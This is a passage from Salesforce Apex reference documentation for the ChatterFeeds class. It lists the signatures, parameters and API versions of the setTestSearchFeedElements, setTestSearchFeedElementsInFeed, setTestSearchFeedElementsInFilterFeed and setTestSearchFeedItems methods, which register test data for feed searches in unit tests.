public static Void setTestSearchFeedElements(String communityId, String q, String
pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
1089
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam,
pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElements(String communityId, String q, Integer
recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
1090
ChatterFeeds ClassReference
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, Moderation, and PendingReview.
q
Type: String
1091
ChatterFeeds ClassReference
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, q)
Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, pageParam, pageSize,
sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, Moderation, and PendingReview.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
1092
ChatterFeeds ClassReference
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedElementPage result)
1093
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
1094
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, sortParam, q, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
32.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
1095
ChatterFeeds ClassReference
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)
Testing ConnectApi Code
1096
ChatterFeeds ClassReference
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String q, ConnectApi.FeedElementPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feed type is UserProfile, subjectId
can be any user ID. If feedType is any other value, subjectId must be the ID of the context user or the alias me.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, q)
Testing ConnectApi Code
1097
ChatterFeeds ClassReference
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam,
pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Specifies the order of feed items in the feed.
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
1098
ChatterFeeds ClassReference
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support
wildcards. This parameter is required.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
1099
ChatterFeeds ClassReference
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
1100
ChatterFeeds ClassReference
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, q, filter,
result)
Registers a ConnectApi.FeedElementPage object to be returned when searchFeedElementsInFeed is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
35.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedFilter filter,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.
subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
The amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
1101
ChatterFeeds ClassReference
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and
must contain at least two characters that aren’t wildcards. See Wildcards.
filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter)
Testing ConnectApi Code
1102
ChatterFeeds ClassReference
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
1103
ChatterFeeds ClassReference
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly)
Testing ConnectApi Code
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.
1104
ChatterFeeds ClassReference
API Version
32.0
Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly,
ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
1105
ChatterFeeds ClassReference
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly, filter)
Testing ConnectApi Code
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q,
result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFilterFeed method is called in a test context. Use the method with the same
parameters or you receive an exception.
1106
ChatterFeeds ClassReference
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFilterFeed(String communityId, String
subjectId, String keyPrefix, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)
Testing ConnectApi Code
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix,
pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFilterFeed method is called in a test context. Use the method with the same
parameters or you receive an exception.
1107
ChatterFeeds ClassReference
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFilterFeed(String communityId, String
subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, String q, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
1108
ChatterFeeds ClassReference
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix,
recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFilterFeed method is called in a test context. Use the method with the same
parameters or you receive an exception.
API Version
31.0
Signature
public static Void setTestSearchFeedElementsInFilterFeed(String communityId, String
subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
1109
ChatterFeeds ClassReference
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedElementPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Testing ConnectApi Code
setTestSearchFeedItems(communityId, q, result)
Registers a test feed item page to be returned when searchFeedItems(communityId, q) is called during a test.
API Version
28.0–31.0
1110
ChatterFeeds ClassReference
Signature
public static Void searchFeedItems(String communityId, String q, ConnectApi.FeedItemPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result
Type: ConnectApi.FeedItemPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchFeedItems(communityId, q)
Testing ConnectApi Code
setTestSearchFeedItems(communityId, q, sortParam, result)
Registers a test feed item page to be returned when searchFeedItems(String,String,
ConnectApi.FeedSortOrder) is called during a test.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItems(String communityId, String q,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
1111
ChatterFeeds ClassReference
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
result
Type: ConnectApi.FeedItemPage
The feed item test page.
Return Value
Type: Void
SEE ALSO:
searchFeedItems(communityId, q, sortParam)
Testing ConnectApi Code
setTestSearchFeedItems(communityId, q, pageParam, pageSize, result)
Registers a test feed item page to be returned when searchFeedItems(String,String,String,Integer) is
called during a test.
API Version
28.0–31.0
Signature
public static Void setTestSearchFeedItems(String communityId, String q, String pageParam,
Integer pageSize, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
1112
ChatterFeeds ClassReference
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
